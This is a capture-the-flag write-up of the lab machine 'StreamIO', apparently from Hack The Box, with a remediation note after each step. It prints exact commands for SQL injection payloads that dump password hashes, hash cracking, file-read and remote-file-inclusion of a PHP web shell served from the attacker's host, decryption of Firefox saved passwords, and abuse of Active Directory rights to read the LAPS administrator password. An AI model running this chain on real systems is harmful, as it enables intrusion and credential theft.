StreamIO
Summary
I mapped the StreamIO domain controller's web front end through its TLS certificate, then found a UNION-based SQL injection in the movie search feature that let them bypass a keyword-blacklist WAF and dump the application's user table, including password hashes. Cracking those hashes yielded valid credentials for the admin panel, where a hidden debug parameter leaked PHP source code and revealed a remote-file-inclusion sink that gave code execution as a low-privileged domain user.
From that foothold, hardcoded database credentials in the application source unlocked a backup database holding another user's crackable password hash, and that user's saved Firefox browser credentials in turn exposed a third account. That account held a dangerous Active Directory ACL (WriteOwner) over a privileged group, which was abused to grant myself membership and, through that group's delegated LAPS-read permission, retrieve the domain controller's local Administrator password in cleartext — completing full domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for nikk37>"
export PASSWORD2="<the-password-you-recovered, for JDgodd>"
export PASSWORD3="<the-password-you-recovered, for db_admin>"
export PASSWORD7="<the-password-you-recovered, for admin>"Attack path — how the box was taken
Exact commands 2
Read the cert SAN to discover streamio.htb / watch.streamio.htb / dc.streamio.htb.
$ openssl s_client -connect $TARGET:443 -servername streamio.htb </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'Map the discovered vhosts to the target IP for browsing.
$ echo "$TARGET streamio.htb watch.streamio.htb dc.streamio.htb" | sudo tee -a /etc/hostsExact commands 2
Confirm column count (6) for the UNION injection while dodging blocked keywords.
$ curl -sk 'https://watch.streamio.htb/search.php' --data-urlencode "q=abcd' union select 1,2,3,4,5,6-- -"Dump usernames and MD5 password hashes from the users table.
$ curl -sk 'https://watch.streamio.htb/search.php' --data-urlencode "q=abcd' union select 1,username,password,4,5,6 from streamio.dbo.users-- -"FixFix SQL injection in the movie search endpointCritical
Exact commands 1
Crack MD5 hashes; recovers yoshihide and admin plaintext passwords.
$ hashcat -m 0 -a 0 streamio_hashes.txt rockyou.txtFixUse strong password hashing and enforce a stronger password policyHigh
Exact commands 3
Authenticate to the admin panel.
$ curl -sk -c cookies.txt -b cookies.txt 'https://streamio.htb/login.php' --data-urlencode 'username=admin' --data-urlencode "password=$PASSWORD7"Fuzz GET parameters on the admin panel; finds the hidden 'debug' param.
$ ffuf -u 'https://streamio.htb/admin/index.php?FUZZ=x' -b cookies.txt -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc allRead master.php source via the LFI/filter wrapper; reveals the eval(file_get_contents()) sink.
$ curl -sk -b cookies.txt 'https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php' | base64 -dFixRemove the debug parameter and restrict file-read functionality in productionHigh
Exact commands 2
Serve shell.php (<?php system($_GET['c']); ?>) as plain text from my box.
$ python3 -m http.server 80Trigger the RFI; eval()s the remote shell.php and runs 'whoami'. Replace $ATTACKER_IP with my tun0 IP.
$ curl -sk 'https://streamio.htb/admin/?debug=master.php' -b cookies.txt --data "include=http://$ATTACKER_IP/shell.php" -G --data-urlencode 'c=whoami'
streamio\yoshihideFixEliminate the eval(file_get_contents()) code-execution sinkCritical
Exact commands 5
From the yoshihide shell — locate the hardcoded db_admin credential.
$ type C:\inetpub\wwwroot\admin\index.phpQuery the backup database directly for the full user table (or use impacket-mssqlclient).
$ sqlcmd -S localhost -U db_admin -P "$PASSWORD3" -d streamio_backup -Q "select * from users"Crack nikk37's hash -> $PASSWORD.
$ hashcat -m 0 -a 0 nikk37_hash.txt rockyou.txtLog in as nikk37; run whoami to prove access, then read the flag.
$ evil-winrm -i $TARGET -u nikk37 -p "$PASSWORD"Replace with <user.txt> when reporting.
$ type C:\Users\nikk37\Desktop\user.txtFixRemove hardcoded database credentials from application sourceHigh
Exact commands 3
Run from the evil-winrm session; also download logins.json from the same profile directory.
$ download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\key4.dbDecrypt the Firefox saved logins on my box (firepwd.py from the firepwd project).
$ python3 firepwd.py -d /path/to/profile_dirValidate the recovered credential against the domain controller.
$ nxc smb dc.streamio.htb -u JDgodd -p "$PASSWORD2"FixPrevent browsers from persisting saved passwords for domain accountsMedium
signon.rememberSignons=false, or the enterprise policy.json 'PasswordManagerEnabled': false) on domain-joined hosts, and require a password manager with master-password protection instead. Rotate any credentials found stored in browsers.Exact commands 4
Collect AD data and identify the WriteOwner -> CORE STAFF -> ReadLAPSPassword path.
$ bloodhound-python -c All -u jdgodd -p "$PASSWORD2" -d streamio.htb -ns $TARGET -dc dc.streamio.htbTake ownership of the CORE STAFF group.
$ bloodyAD -u jdgodd -p "$PASSWORD2" -d streamio.htb --host dc.streamio.htb set owner 'CORE STAFF' jdgoddGrant self full control (DACL) over the group.
$ bloodyAD -u jdgodd -p "$PASSWORD2" -d streamio.htb --host dc.streamio.htb add genericAll 'CORE STAFF' jdgoddAdd jdgodd as a member of CORE STAFF.
$ bloodyAD -u jdgodd -p "$PASSWORD2" -d streamio.htb --host dc.streamio.htb add groupMember 'CORE STAFF' jdgoddFixRemove excessive WriteOwner/GenericAll rights on the CORE STAFF groupCritical
Exact commands 4
Read the cleartext LAPS local Administrator password (re-authenticate first so the new CORE STAFF membership is reflected).
$ nxc ldap dc.streamio.htb -u jdgodd -p "$PASSWORD2" -M lapsLog in as the local Administrator using the LAPS-disclosed password.
$ evil-winrm -i $TARGET -u administrator -p '<LAPS-password>'Prove Administrator-level access before reading the flag.
$ whoamiReplace output with <root.txt> when reporting.
$ type C:\Users\Martin\Desktop\root.txtFixRestrict the ReadLAPSPassword delegation on the domain controllerCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 443/tcp | http recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49677/tcp | unknown recon-sweep-discovered |
| 49678/tcp | unknown recon-sweep-discovered |
| 49704/tcp | unknown recon-sweep-discovered |
| 57885/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |